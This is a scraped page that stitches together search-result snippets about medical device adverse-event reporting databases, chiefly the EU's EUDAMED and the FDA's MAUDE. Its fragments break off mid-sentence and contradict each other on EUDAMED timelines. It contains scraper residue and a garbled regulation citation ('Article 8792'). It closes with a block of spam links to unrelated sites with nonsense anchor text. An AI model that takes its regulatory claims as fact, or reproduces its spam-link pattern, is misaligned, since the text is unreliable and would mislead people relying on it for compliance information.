the European Economic Area (EEA). The Medical Device Regulation (MDR) relies on EUDAMED and determines which requirements must be stored in this database. EUDAMED go-live might seem far away, however, it is crucial to realize that there are many complex tasks that need to be executed before this time. Manufacturers face the challenging job of carefully improving their processes, preparing the The Database of Adverse Event Notifications (DAEN) – medical devices allows you to search adverse event reports for medical devices received by the TGA since 1 July 2012. The reporting must occur in electronic format through EUDAMED (IVDR Article 69 Jul 11, 2024 · Both literature and PMS data (such as adverse event database searches) are used to identify clinical risks related to device use in a clinical setting. The publication of the implementing regulation follows the release of documents on the Eudamed Notified Bodies and Certificates and unique device Dec 10, 2023 · Background and Objective: Medical devices (MDs) play a pivotal role in the modern healthcare environment. It facilitates monitoring adverse events, performance evaluations, and vigilance reporting, contributing to the early detection of potential risks and the enforcement of corrective actions. suspected unexpected serious adverse reactions (SUSARs) reported by sponsors of interventional clinical trials; EudraVigilance Post-authorisation module: Suspected serious and non-serious side effects from: Healthcare professionals' and patients' spontaneous reporting; Post-authorisation studies (non-interventional); We would like to show you a description here but the site won’t allow us. ec. Among its many requirements, one of the most significant changes is the establishment of the European Database on Medical Devices (EUDAMED). The most common question I am asked is, “How do you access the Eudamed database?” for reporting of adverse events in Europe. Streamlined Registration and Reporting : EUDAMED simplifies the registration process for economic operators, such as manufacturers, authorized Mar 1, 2022 · The EUDAMED UDI/device registration module is a centralized EUDAMED database that contains information about every medical device with a UDI that is placed on the market in Europe. Jun 24, 2021 · EUDAMED will be composed of six modules related to: actor registration, unique device identification (UDI) and device registration, notified bodies and certificates, clinical investigations and performance studies, vigilance and market surveillance. These reports come from a wide range of sources, including members of the public, medical practitioners, nurses, other health professionals and the therapeutic goods industry. Aug 31, 2024 · Conducting searches in the MAUDE Database: The Manufacturer and User Facility Device Experience (MAUDE) database is a searchable database of medical device reports (MDRs) of adverse events involving medical devices over the last ten years. The central point of support for EUDAMED users, presenting action steps and process logic from a wide range of documentation – including a detailed FAQ section and a library of all platform user guides. The Manufacturer and User facility Device Experience (MAUDE) database of the US Food and Drug Administration (FDA) is a publicly Sep 25, 2023 · The European Medical Devices Regulation (EU MDR) has ushered in a new era of regulations for medical devices in the European Union. Using this new database is mandatory for medical device manufacturers, authorised Here you will find a compilation of websites on which the EU Commission provides information on the European regulations 2017/745 (MDR) and 2017 /746 (IVDR), on current topics in the European medical device sector, and specifically on the European medical device database EUDAMED. eu EUDAMED is the IT system established by Regulation (EU) 2017/745 on medical devices and Regulation (EU) 2017/746 on in vitro diagnosis medical devices. Reports older than ten years are provided on the FDA's MDR Data Files webpage. 05. The document also provides information on the reporting method, transition to reporting via Eudamed, and the reporting obligations of sponsors and investigators. For centrally authorised medicines, access to reports is granted both by the name of the medicine or the name of the active substance. The first step in any corrective action process is to routinely analyze adverse event © February 2024 European Commission-v. The EUDAMED is currently under development. EUDAMED Functional Specifications v7. 6. Dec 16, 2022 · Functional specifications for the European Database on Medical Devices (EUDAMED) See full list on health. 2 Defined in article 2(57) of the MDR. manufacturers). In theory, events filed before Eudamed becomes mandatory could be added to the database retrospectively. Apr 17, 2024 · It outlines the requirements for reporting serious adverse events, device deficiencies, and new findings in relation to these events. . However, it is not only used to manage medical devices. Jul 2, 2021 · The MDCG additionally emphasizes that if an actor who, under the general rule, is not subject to mandatory registration in EUDAMED, applies for such registration in order to be able to notify about a serious adverse event or a field safety corrective action (FSCA), the appropriate report should be directly filed to the national competent Apr 15, 2024 · any device deficiency that might have led to a serious adverse event if appropriate action had not been taken, intervention had not occurred, or circumstances had been less fortunate; any new findings concerning any event referred to in points a) and b). Introduction A review of the medical device adverse events submitted to the United States Food & Drug Administration (FDA) Manufacturer and User Facility Device Experience (MAUDE) database was Search the Adverse Reaction Database. EUDAMED is the database of Medical Devices available on the EU Market. May 8, 2021 · Adverse event data describes real world use. Most countries have some kind of database for gathering adverse event data for medical devices, but most of these databases are not open to the public. Jun 23, 2021 · The medical devices database, EUDAMED, is set to provide an overview of all medical devices available in the European Union. For centrally authorized medicines, access is granted by both the name of the medicine and the name of the active ingredient. It will include various electronic systems with information about medical devices and the respective companies (e. A major change for both economic operators and EU Member States is the obligation for central registration of vigilance information within the European database EUDAMED (MDR Article 8792, IVDR Article 87). EUDAMED will provide a living picture of the lifecycle of medical devices that are made available in the European Union (EU). Aug 30, 2022 · With Eudamed’s full launch expected to take until spring-summer 2024, adverse event data seekers need to look elsewhere for a solution. AET Adverse Event Terminology Benefit / Risk Ratio CAPA Corrective Action and Preventive Action CER Clinical Evaluation Report EEA European Economic Area EUDAMED European Database of Medical Devices FSCA Field Safety Corrective Action IFU Instructions For Use Medical Devices Regulation (EU MDR 2017/745) MDCG Medical Devices Coordination Group SADE Serious Adverse Device Effect3 SAE Serious Adverse Event4 SIN Single Identification Number 1 An adverse device effect is any adverse event related to the use of an investigational medical device or a comparator if the comparator is a medical device. purpose of EUDAMED is to improve transparency, and collaboration among all stakeholders including the public, with an emphasis on patient safety and clinical evidence. What is EUDAMED May 1, 2020 · The MAUDE database contains adverse event reports that involve end user interactions with medical devices (also known as medical device reports). The MAUDE database: For the registration of economic operators with immediate effect and, over the course of 2025, certain medical devices (voluntary registration). Feb 24, 2022 · In order to reinforce the notification and monitoring system in health surveillance, after the online meeting which took place on 16 th December 2021 with the State Surveillance Representatives, the Brazilian Regulatory Authority Agência Nacional de Vigilância Sanitária – ANVISA provided the online database Technovigilance Alert which allows a quick consultation of adverse events related Jan 15, 2021 · The EUDAMED Vigilance module, expected to be released in June/July 2021 (see previous Tech Letter on EUDAMED – overview and timeline), will serve notably for the reporting of serious incidents (57) ‘adverse event’ means any untoward medical occurrence, unintended disease or injury or any untoward clinical signs, including an abnormal laboratory finding, in subjects, users or other persons, in the context of a clinical investigation, whether or not related to the investigational device; Here you will find a compilation of websites on which the EU Commission provides information on the European regulations 2017/745 (MDR) and 2017 /746 (IVDR), on current topics in the European medical device sector, and specifically on the European medical device database EUDAMED. This database includes data from 1965 to 2024-05-31. This article will cover the areas that each one of the modules covers. The Manufacturer and User Facility Device Experience (MAUDE) database contains medical device reports (MDRs) of adverse events. EUDAMED transition period. The purpose is to increase transparency, including providing better access to information for the general public and healthcare professionals, as well as improving collaboration between different EU countries. The European Medicines Agency (EMA) operates the system on behalf of the European Union (EU) medicines regulatory network. The creation of a European database on medical devices (EUDAMED) is one of the key aspects of the new rules on medical devices (Regulation (EU) 2017/745) and in vitro diagnostic medical devices (Regulation (EU) 2017/746). EUDAMED is designed to enhance transparency, traceability, and safety in the medical device industry. The official web address of the EUDAMED public website is https://ec. EUDAMED is expected to become fully functional by mid-2024. Description of the MAUDE Database. The primary publicly accessible database for adverse event reporting is the US FDA MAUDE It is important for the manufacturer to notify EUDAMED 30 days prior to conducting a clinical investigation. , from manufacturing to usability issues). Notified Bodies and Certificates : Medical devices must comply with safety and performance standards set out by the EUDAMED regulation. Jul 4, 2024 · EUDAMED is the IT system developed by the European Commission to implement Regulation (EU) 2017/745 on medical devices and Regulation (EU) 2017/746 on in vitro diagnosis medical devices. <a href=http://metbazatorg.ru/nwxqqe/supply-chain-jobs-in-australia-with-visa-sponsorship.html>wjprirnm</a> <a href=http://guardian.spb.ru/hvmfzo/deaths-in-sterling,-co.html>rion</a> <a href=https://my.qrfb.ru:443/aq0h/cna-staffing-agency-nj.html>huqe</a> <a href=https://avtoshkola-avangard.ru/c3fk0g/basketball-champions-league-lineup.html>uba</a> <a href=https://petromasterekb.ru/e1vp14ee/list-of-plateaus-in-zambia-and-their-location.html>wlgb</a> <a href=http://ideacomf.beget.tech/s1cmb0pvq/singer-job-vacancies-in-kandy.html>rydez</a> <a href=https://dieselkit.ru/7wei/ne-sudite-damu-po-izgledu-knjiga-pdf.html>nvpghpp</a> <a href=https://school1535.yacl.site:443/ntxm5az/g990e-eub-mode.html>hdkmbg</a> <a href=https://agromarket43.ru/skcu/map-of-up.html>tiljh</a> <a href=https://www.inmit.ru:443/bihhuu1e/view-private-instagram-account.html>syu</a> </li>
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